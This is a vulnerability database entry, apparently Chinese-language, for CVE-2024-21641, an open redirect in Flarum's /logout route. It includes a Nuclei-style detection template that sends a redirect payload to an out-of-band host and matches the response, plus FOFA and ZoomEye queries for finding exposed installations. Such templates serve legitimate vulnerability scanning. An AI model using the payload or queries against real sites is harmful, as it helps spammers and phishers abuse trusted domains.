CVE-2024-21641: Flarum < 1.8.5 - Open Redirect

日期: 2025-08-01 | 影响软件: Flarum | POC: 已公开

漏洞描述

Flarum is open source discussion platform software. Prior to version 1.8.5, the Flarum `/logout` route includes a redirect parameter that allows any third party to redirect users from a (trusted) domain of the Flarum installation to redirect to any link. For logged-in users, the logout must be confirmed. Guests are immediately redirected. This could be used by spammers to redirect to a web address using a trusted domain of a running Flarum installation.

PoC代码[已公开]

id: CVE-2024-21641

info:
  name: Flarum < 1.8.5 - Open Redirect
  author: kking
  severity: medium
  description: |
    Flarum is open source discussion platform software. Prior to version 1.8.5, the Flarum `/logout` route includes a redirect parameter that allows any third party to redirect users from a (trusted) domain of the Flarum installation to redirect to any link. For logged-in users, the logout must be confirmed. Guests are immediately redirected. This could be used by spammers to redirect to a web address using a trusted domain of a running Flarum installation.
  remediation: |
    The vulnerability has been fixed and published as flarum/core v1.8.5. As a workaround, some extensions modifying the logout route can remedy this issue if their implementation is safe.
  reference:
    - https://github.com/flarum/framework/security/advisories/GHSA-733r-8xcp-w9mr
    - https://github.com/flarum/flarum-core/commit/ee8b3b4ad1413a2b0971fdd9e40f812d2a3a9d3a
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21641
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
    cvss-score: 4.7
    cve-id: CVE-2024-21641
    cwe-id: CWE-601
    epss-score: 0.39798
    epss-percentile: 0.97231
    cpe: cpe:2.3:a:flarum:flarum:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: flarum
    product: flarum
    fofa-query: header="flarum_session="
    zoomeye-query: app="Flarum"
  tags: cve,cve2024,flarum,redirect

http:
  - method: GET
    path:
      - "{{BaseURL}}/logout?return=http://oast.pro"

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro\/?(\/|[^.].*)?$'
          - "Set-Cookie: flarum_session="
        condition: and

      - type: status
        status:
          - 302
# digest: 490a00463044022072f14d0d380ba4133f2404d041b8cdd0df8276bf2bb3e44d0163cde2f039b630022057f41ebef92607b96467f776c3378e0d66192fd1f05ed26e04f97e800b4e680b:922c64590222798bb761d5b6d8e72950

相关漏洞推荐